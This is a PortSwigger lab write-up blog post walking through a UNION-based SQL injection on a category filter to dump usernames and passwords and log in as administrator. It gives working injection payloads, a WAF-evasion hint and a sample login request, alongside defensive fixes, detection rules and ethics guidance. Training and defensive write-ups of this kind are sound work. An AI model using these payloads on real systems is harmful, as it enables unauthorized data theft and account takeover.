Lab: SQL injection UNION attack - retrieving data from other tables

Lab: SQL injection UNION attack - retrieving data from other tables

October 9, 2025 9 min read

Step-by-step, beginner-friendly walkthrough: use a UNION-based SQL injection to retrieve usernames and passwords from another table, then log in as administrator. Includes exact payloads (placeholders), troubleshooting, and defensive guidance.




⚠️ Disclaimer

This write-up is strictly for educational, defensive, and authorized lab practice only (PortSwigger Web Security Academy or your own test environments). Never use these techniques on systems you do not own or explicitly have permission to test. The payloads and extraction steps shown here are lab examples only.


TL;DR

In this lab I used a UNION-based SQL injection against the product category filter to retrieve entries from a separate users table, then used the retrieved administrator credentials to log in. The critical steps were:

  1. Determine how many columns the original query returns (UNION column count).
  2. Identify which columns accept text (find a text-capable column).
  3. Craft a UNION SELECT that pulls username and password from users.
  4. Use the disclosed administrator credentials to authenticate and solve the lab.

The successful extraction payload (sanitized with placeholders) looked like:

/filter?category=Tech+gifts'+UNION+SELECT+username,password+FROM+users--
SQL

This article explains each step in detail, why it works, how to troubleshoot, and how developers can prevent such attacks.

For background on SQLi fundamentals and UNION techniques, read our pillar: The Ultimate Guide to SQL Injection (SQLi).


1 - Lab objective & quick overview

Lab goal (PortSwigger): Exploit a SQL injection in the product category filter to retrieve all rows from the users table (columns username and password) via a UNION SELECT, and then log in as the administrator using the retrieved credential.

This lab combines two prior techniques: column-count determination and identifying a text-capable column. The difference here is we move from probing to actual data extraction and then use the data to authenticate.

High-level steps I planned before touching the app:

  • Confirm the column count (if unknown).
  • Confirm a text-capable column is available and rendered.
  • Use UNION SELECT username, password FROM users aligned to the correct column positions.
  • Extract credentials and attempt login (in lab context only).

2 - Recon: capture the filter request (placeholders used)

I started by intercepting the filter request with Burp Proxy while browsing the product list. The sanitized request is:

GET /filter?category=Tech+gifts HTTP/1.1
Host: <LAB_HOST>
Accept: text/html
...
SQL

Observing that the category parameter is used to select products confirmed the injection surface. Because the application returns query results in the HTML, UNION is an effective extraction mechanism.

Note: if your app uses POST or JSON for filters, the same technique applies - you just inject the payload in the appropriate location.

Captured request showing /filter?category=Tech+gifts.


3 - Step 1: ensure correct column count & text columns (short recap)

If you haven't already determined the column count and text-capable columns, do that first (see the previous labs). Quick recap:

  • Probe with increasing NULL placeholders:
/filter?category=Tech+gifts'+UNION+SELECT+NULL,NULL--
/filter?category=Tech+gifts'+UNION+SELECT+NULL,NULL,NULL--
SQL
  • Replace NULL with a short unique string to find a text-capable column:
/filter?category=Tech+gifts'+UNION+SELECT+'XYZ',NULL--
/filter?category=Tech+gifts'+UNION+SELECT+NULL,'XYZ'--
SQL

In this lab the target query returned two columns, and both columns were text-capable (so we can return username and password directly into those positions).


4 - Step 2: craft the extraction payload

Once you know the number of columns and which columns can display strings, craft a UNION SELECT that returns the desired columns. Because the original query expects two columns in this lab, the extraction payload is straightforward:

/filter?category=Tech+gifts'+UNION+SELECT+username,password+FROM+users--
SQL

Key points:

  • We reference the users table and select the columns username and password directly in the UNION SELECT.
  • The injected columns must align with the original query's column count and ordering.
  • If the app places the first returned column into product name and second into product price, the username and password values will appear where product data normally is rendered. In labs this output is visible and searchable in the page HTML.

Practical tip: wrap the payload in proper URL encoding when testing through a browser, or use Burp Repeater to avoid manual encoding headaches.

Request demonstrating UNION SELECT username,password FROM users.


5 - Sending the request and validating results

I sent the crafted payload via Burp Repeater. The successful response included a row with usernames and passwords that looked like typical lab dump output. Example (sanitized example of what to look for in HTML - do not publish real credentials):

  • carlos : 8d5f...
  • wiener : 748h...
  • administrator : 26r2...

Once you identify an admin password in the response:

  1. Copy the admin username and password (lab-only).
  2. Use Burp or browser to POST to /login with <USERNAME> and <PASSWORD> from the extraction.
  3. Confirm you can access admin-only pages or see the “logged in as administrator” indicator - the lab marks solved when admin access is validated.

Example login flow (placeholder request):

POST /login HTTP/1.1
Host: <LAB_HOST>
Content-Type: application/x-www-form-urlencoded

username=administrator&password=admin123(Example)
SQL

If login succeeds, you've completed the lab objective.

Response HTML showing extracted usernames and passwords.

Screenshot of the application showing a successful login as the administrator.


6 - Why this extraction works (technical explanation)

UNION merges the results of two SELECT statements. If the attacker can control the second SELECT, they can return any data the DB account can read. The database engine concatenates the two result sets if column counts/types match. Because the app renders the combined result into HTML, attacker-controlled values appear in the page.

Important considerations:

  • The web app’s DB user must have SELECT privileges on the users table - many misconfigured apps allow this.
  • If either column is not text-capable, you may need to cast or reorder columns to match types (advanced).
  • Some apps sanitize or filter keywords like UNION - in that case, additional techniques or different injection contexts are required.

7 - Troubleshooting extraction issues

Common issues and how I handled them:

  • No visible data but no error: The UNION succeeded but the injected row isn’t rendered where you expected. Search the entire HTML for a unique token or try different column orderings.
  • Permission denied on users table: The DB user might lack access. In real assessments, note the limitation - you cannot extract without permissions. In labs, permissions are typically sufficient.
  • WAF blocking UNION or FROM: Try small obfuscations only in authorized labs or use Burp to test variations. Example obfuscation (lab-only): UNI/**/ON - but avoid evasion on production without permission.
  • Type mismatch: If username is text but the corresponding original column is numeric, the union may fail. Use CAST() or select only columns that are compatible.
  • Large results: If the table is large, limit results with LIMIT or extract specific rows to avoid noisy output. Example:
/filter?category=Tech+gifts'+UNION+SELECT+username,password+FROM+users+LIMIT+1--
SQL
  • Data encoding/HTML escaping: If the site HTML-encodes or escapes output, search the source for encoded strings (e.g., t46tDZ may appear as t46tDZ or encoded variants). Use unique tokens.

8 - Defensive perspective (how developers should fix & detect)

This is the heart of a safe, production-ready response: prevention and detection.

8.1 Eliminate dynamic SQL concatenation

  • Prepared statements / parameterized queries are the primary defense. Never directly concatenate user input into SQL.
  • Use ORM query builders that separate structure from data.

8.2 Map user input to internal identifiers

  • Map categories to internal numeric IDs or enumerations. Lookups by ID remove string injection surfaces:
-- Instead of:
... WHERE category = '<user_input>'
-- Use an internal mapping:
... WHERE category_id = ?
SQL

8.3 Least privilege database accounts

  • The web app’s DB user should only have access to tables necessary for the public page. Ideally, the account powering the product listing should not be able to read admin-only users tables.

8.4 Hide error messages & limit info leakage

  • Disable verbose DB error messages in production. Generic errors reduce the attacker’s ability to refine probes.

8.5 WAF and runtime detection

  • WAFs can detect UNION-style probes and flag repeated NULL-probe patterns or UNION SELECT sequences in parameters.
  • Example SIEM alert: multiple requests from the same IP containing UNION SELECT or username,password FROM within an hour.

8.6 Code reviews & CI tests

  • Add automated tests that exercise filter endpoints with common injection probes (UNION SELECT NULL) in staging. Fail builds when injection succeeds.

8.7 Rotate and restrict secrets

  • Treat database-resident secrets carefully: rotate admin credentials and avoid storing sensitive API keys in tables readable by front-end accounts.

Checklist of defensive measures to prevent UNION-based data extraction.


9 - Ethical considerations & reporting practice

If you find credentials or sensitive data during an authorized test:

  • Do not exfiltrate or publish the data beyond verifying the lab or authorized scope.
  • For bug bounties: follow the program’s disclosure policy - provide proof, steps to reproduce, and remediation suggestions without posting raw credentials.
  • For internal assessments: immediately notify owners, provide a remediation plan, and assist with verification after fixes.

10 - Real-world examples (impact & chain attacks)

These examples show how UNION-based extraction escalates:

Example A - Admin takeover from public filter
An e-commerce product filter allowed UNION probes. Attackers extracted admin credentials, logged in, and changed pricing and coupon rules. The resulting fraud caused both financial loss and customer trust issues.

Example B - Crawl + extract pipeline
Automated attackers used UNION probes across multiple category endpoints to harvest configuration data and user metadata, building a large dataset for credential stuffing campaigns.

Example C - Pivot to internal services
Extracted API keys or internal hostnames enabled attackers to query internal services, escalating from data leakage to lateral movement.

These incidents illustrate a typical chain: reconnaissance → column enumeration → data extraction (UNION) → reuse of credentials or secrets → further compromise.


11 - Practice suggestions & safe exercises

To build proficiency:

  • Repeat this lab until you can determine columns and extract a single row confidently.
  • Practice limiting results (LIMIT) and selecting specific fields to avoid noisy output.
  • Create a small local app that concatenates filter values; then fix it using prepared statements and validate the fix with the same probes.
  • Pair this with the SQLi pillar content and related cluster posts to reinforce concepts.

12 - Final thoughts

This lab is an excellent demonstration of how small, seemingly innocuous filter parameters can lead to data extraction when combined with permissive DB permissions and dynamic SQL. The path is clear: remove concatenated SQL, use parameterized queries, map user inputs to safe internal IDs, and monitor for UNION-style probes.


References & further reading

  • PortSwigger Web Security Academy - SQL Injection (UNION) labs.
  • OWASP - SQL Injection Prevention Cheat Sheet.
  • Database vendor docs for SQL syntax and casting (useful when handling type issues).

Join the Security Intel.

Get weekly VAPT techniques, ethical hacking tools, and zero-day analysis delivered to your inbox.

Weekly Updates No Spam
Herish Chaniyara

Herish Chaniyara

Web Application Penetration Tester (VAPT) & Security Researcher. A Gold Microsoft Student Ambassador and PortSwigger Hall of Fame (#59) member dedicated to securing the web.

Read Next

View all posts
Why I’m Starting to Write Blogs: My Journey in Cybersecurity and Beyond
August 28, 2025
Why I’m Starting to Write Blogs: My Journey in Cybersecurity and Beyond
Lab Writeup: PortSwigger – 0.CL Request Smuggling
September 9, 2025
Lab Writeup: PortSwigger – 0.CL Request Smuggling
Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
September 23, 2025
Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
The Ultimate Guide to SQL Injection (SQLi): Types & Prevention
October 5, 2025
The Ultimate Guide to SQL Injection (SQLi): Types & Prevention
Lab: SQL injection vulnerability allowing login bypass
October 6, 2025
Lab: SQL injection vulnerability allowing login bypass
Lab: SQL injection UNION attack - determining number of columns returned by the query
October 7, 2025
Lab: SQL injection UNION attack - determining number of columns returned by the query
Lab: SQL injection UNION attack - finding a column containing text
October 8, 2025
Lab: SQL injection UNION attack - finding a column containing text
Lab: SQL injection UNION attack - retrieving multiple values in a single column
October 10, 2025
Lab: SQL injection UNION attack - retrieving multiple values in a single column
Lab: SQL injection attack - querying the database type and version on MySQL and Microsoft
October 11, 2025
Lab: SQL injection attack - querying the database type and version on MySQL and Microsoft
Lab: SQL injection attack - listing the database contents on non-Oracle databases
October 12, 2025
Lab: SQL injection attack - listing the database contents on non-Oracle databases
Lab: Blind SQL injection with conditional responses
October 13, 2025
Lab: Blind SQL injection with conditional responses
Lab: Blind SQL injection with conditional errors
October 14, 2025
Lab: Blind SQL injection with conditional errors
Lab: Visible error-based SQL injection
October 15, 2025
Lab: Visible error-based SQL injection
Lab: Blind SQL injection with time delays and information retrieval
October 16, 2025
Lab: Blind SQL injection with time delays and information retrieval
Lab: Blind SQL injection with out-of-band interaction
October 17, 2025
Lab: Blind SQL injection with out-of-band interaction
Lab: Blind SQL injection with out-of-band data exfiltration
October 18, 2025
Lab: Blind SQL injection with out-of-band data exfiltration
Lab: SQL injection with filter bypass via XML encoding
October 19, 2025
Lab: SQL injection with filter bypass via XML encoding
Lab: SQL injection attack, querying the database type and version on Oracle
October 20, 2025
Lab: SQL injection attack, querying the database type and version on Oracle
Lab: SQL injection attack, listing the database contents on Oracle
October 21, 2025
Lab: SQL injection attack, listing the database contents on Oracle
Lab: Blind SQL injection with time delays
October 22, 2025
Lab: Blind SQL injection with time delays
The $500 Stored XSS Bug in SideFX's Messaging System - Hacking the Inbox
October 23, 2025
The $500 Stored XSS Bug in SideFX's Messaging System - Hacking the Inbox
Hunting IDOR Vulnerabilities with Burp Suite: A $1,000 Bug Bounty Case Study
October 24, 2025
Hunting IDOR Vulnerabilities with Burp Suite: A $1,000 Bug Bounty Case Study
$500 Broken Access Control Bug: Unauthorized Removal of Private Pension Schemes
October 25, 2025
$500 Broken Access Control Bug: Unauthorized Removal of Private Pension Schemes
0-Click Account Takeover via Punycode: How IDNs and String Normalization Break Authentication
October 26, 2025
0-Click Account Takeover via Punycode: How IDNs and String Normalization Break Authentication
Finding a $100 Race Condition: How Two Simultaneous Sign-Ups Broke Email Uniqueness
October 27, 2025
Finding a $100 Race Condition: How Two Simultaneous Sign-Ups Broke Email Uniqueness
How To Earn $1K+/Month Finding Information Disclosure - A Practical, Ethical Playbook
October 28, 2025
How To Earn $1K+/Month Finding Information Disclosure - A Practical, Ethical Playbook
Finding Hope (and $250) in a Forgotten Field: A Beginner Guide to Stored XSS Success
October 29, 2025
Finding Hope (and $250) in a Forgotten Field: A Beginner Guide to Stored XSS Success
Easy $130 Bounty: From User to Admin - The Hidden Power of Role Parameter Injection
October 30, 2025
Easy $130 Bounty: From User to Admin - The Hidden Power of Role Parameter Injection
Can AI Defend Us Against Hackers? A Pentester Reality Check
October 31, 2025
Can AI Defend Us Against Hackers? A Pentester Reality Check
$500 OTP Bypass: The Duplicate That Taught a Bigger Lesson
November 1, 2025
$500 OTP Bypass: The Duplicate That Taught a Bigger Lesson
$1,000 Bounty for a 403 Bypass: Lessons from a Subtle but Powerful Discovery
November 2, 2025
$1,000 Bounty for a 403 Bypass: Lessons from a Subtle but Powerful Discovery
How Hacker an LFI into a $5,000 Payday (And How You Can Too)
November 3, 2025
How Hacker an LFI into a $5,000 Payday (And How You Can Too)
How a Researcher Found a Critical Password Reset Bug (and Earned $4,000)
November 4, 2025
How a Researcher Found a Critical Password Reset Bug (and Earned $4,000)
The Accidental Admin: How a Null Role Parameter Exposed an Entire Company
November 5, 2025
The Accidental Admin: How a Null Role Parameter Exposed an Entire Company
How a Simple URL Parameter Made Products Free - The $2,000 Logic Flaw That Broke an E-Commerce Site
November 6, 2025
How a Simple URL Parameter Made Products Free - The $2,000 Logic Flaw That Broke an E-Commerce Site
Outsmarting the Firewall: XSS in URLs Explained (Educational Purpose Only)
November 7, 2025
Outsmarting the Firewall: XSS in URLs Explained (Educational Purpose Only)
Forgot Password → Forgot Validation: a broken reset flow that enabled account takeover (researcher case study)
November 8, 2025
Forgot Password → Forgot Validation: a broken reset flow that enabled account takeover (researcher case study)
Burp MCP DNS Rebinding: local APIs as a remote SSRF vector (researcher case study)
November 9, 2025
Burp MCP DNS Rebinding: local APIs as a remote SSRF vector (researcher case study)
Unsafe eval() and DOM XSS: How a Single Line of JavaScript Can Compromise Everything
November 10, 2025
Unsafe eval() and DOM XSS: How a Single Line of JavaScript Can Compromise Everything
How Changing a Single Number Exposed an Entire User Database (An IDOR Story)
November 11, 2025
How Changing a Single Number Exposed an Entire User Database (An IDOR Story)
How I Stole an AI’s Brain (Legally) - Model Extraction & Membership Inference Attacks Explained
November 12, 2025
How I Stole an AI’s Brain (Legally) - Model Extraction & Membership Inference Attacks Explained
Access Control Apocalypse: When Broken Permissions Give Master Keys
November 13, 2025
Access Control Apocalypse: When Broken Permissions Give Master Keys
Neural Network Nightmare: Finding Privacy Leaks in Image Recognition APIs
November 14, 2025
Neural Network Nightmare: Finding Privacy Leaks in Image Recognition APIs
Prompt Injection Pandemonium: Exploiting AI Assistants via Malicious Input
November 15, 2025
Prompt Injection Pandemonium: Exploiting AI Assistants via Malicious Input
The AI Eavesdropper: How Voice Assistants Were Secretly Recording Conversations
November 16, 2025
The AI Eavesdropper: How Voice Assistants Were Secretly Recording Conversations
From 403 to Fortune: How an Access Control Bypass Turned a 403 into Admin Access
November 17, 2025
From 403 to Fortune: How an Access Control Bypass Turned a 403 into Admin Access
How Security Researcher Turned a Low-Privilege Agent Into an Admin With a Single Request: The Token Forgery Access Control Breakdown
November 18, 2025
How Security Researcher Turned a Low-Privilege Agent Into an Admin With a Single Request: The Token Forgery Access Control Breakdown
Azure Speech API Key Exposure in a Major Payment Company: A Deep Defensive Breakdown
November 19, 2025
Azure Speech API Key Exposure in a Major Payment Company: A Deep Defensive Breakdown
How Security Researcher Found a DOM XSS Inside NASA’s Systems
November 20, 2025
How Security Researcher Found a DOM XSS Inside NASA’s Systems
SSRF in GitLab Import-URL Feature Enabling Internal Network Probing
November 21, 2025
SSRF in GitLab Import-URL Feature Enabling Internal Network Probing
Critical Auth Bypass in Government App via Hardcoded OTP Logic
November 22, 2025
Critical Auth Bypass in Government App via Hardcoded OTP Logic
Stripe Subscription Escalation: How Default Behavior Enables Free Plan Upgrades
November 23, 2025
Stripe Subscription Escalation: How Default Behavior Enables Free Plan Upgrades
Cache Poisoning Case Studies Part 1: Foundational Attacks Behind a $100K+ Vulnerability Class
November 24, 2025
Cache Poisoning Case Studies Part 1: Foundational Attacks Behind a $100K+ Vulnerability Class
Cache Poisoning Case Studies Part 2: Multi-Bug Chains, Cloud Weaknesses & Framework-Level Exploits
November 25, 2025
Cache Poisoning Case Studies Part 2: Multi-Bug Chains, Cloud Weaknesses & Framework-Level Exploits
Cache Poisoning Case Studies Part 3: OAuth Hijacking, API Gateway Abuse & Supply-Chain Poisoning
November 26, 2025
Cache Poisoning Case Studies Part 3: OAuth Hijacking, API Gateway Abuse & Supply-Chain Poisoning
Meta Spark AR RCE: Package Postinstall Remote Code Execution
November 27, 2025
Meta Spark AR RCE: Package Postinstall Remote Code Execution
IDOR Exposure of 6.4 Million Users: A Real-World Breakdown of a Critical Authorization Failure
November 28, 2025
IDOR Exposure of 6.4 Million Users: A Real-World Breakdown of a Critical Authorization Failure
Cloudflare Bypass via Exposed Origin IP: A Deep Dive Into Smit Gharat’s Discovery
November 29, 2025
Cloudflare Bypass via Exposed Origin IP: A Deep Dive Into Smit Gharat’s Discovery
Reflected XSS to Account Takeover: A Deep Dive Into a Real-World Attack Chain
November 30, 2025
Reflected XSS to Account Takeover: A Deep Dive Into a Real-World Attack Chain
400 Bad Request that earned $$$ - Document-name disclosure via IDOR
December 1, 2025
400 Bad Request that earned $$$ - Document-name disclosure via IDOR
Modern Recon: How AI Amplifies Vulnerability Hunting
December 2, 2025
Modern Recon: How AI Amplifies Vulnerability Hunting
OAuth Authentication Bypass Leading to Massive PII Exposure: A Deep Technical Analysis
December 3, 2025
OAuth Authentication Bypass Leading to Massive PII Exposure: A Deep Technical Analysis
SSRF in ChatGPT Custom Actions Exposing Azure Metadata
December 4, 2025
SSRF in ChatGPT Custom Actions Exposing Azure Metadata
When the Program Wins and the Researcher Loses: Understanding Silent Failures in Modern Bug Bounties
December 5, 2025
When the Program Wins and the Researcher Loses: Understanding Silent Failures in Modern Bug Bounties
Identity Hijacking via Faulty Email Schema Validation: A Deep Dive into a Business Logic Flaw
December 6, 2025
Identity Hijacking via Faulty Email Schema Validation: A Deep Dive into a Business Logic Flaw
Silent Disclosure: How a Simple 401 Error Exposed Critical Credentials
December 7, 2025
Silent Disclosure: How a Simple 401 Error Exposed Critical Credentials
Cracking the Storage Shell: How Misconfigurations Exposed an Azure Blob Flag
December 8, 2025
Cracking the Storage Shell: How Misconfigurations Exposed an Azure Blob Flag

For any queries or professional discussions: herish.chaniyara@gmail.com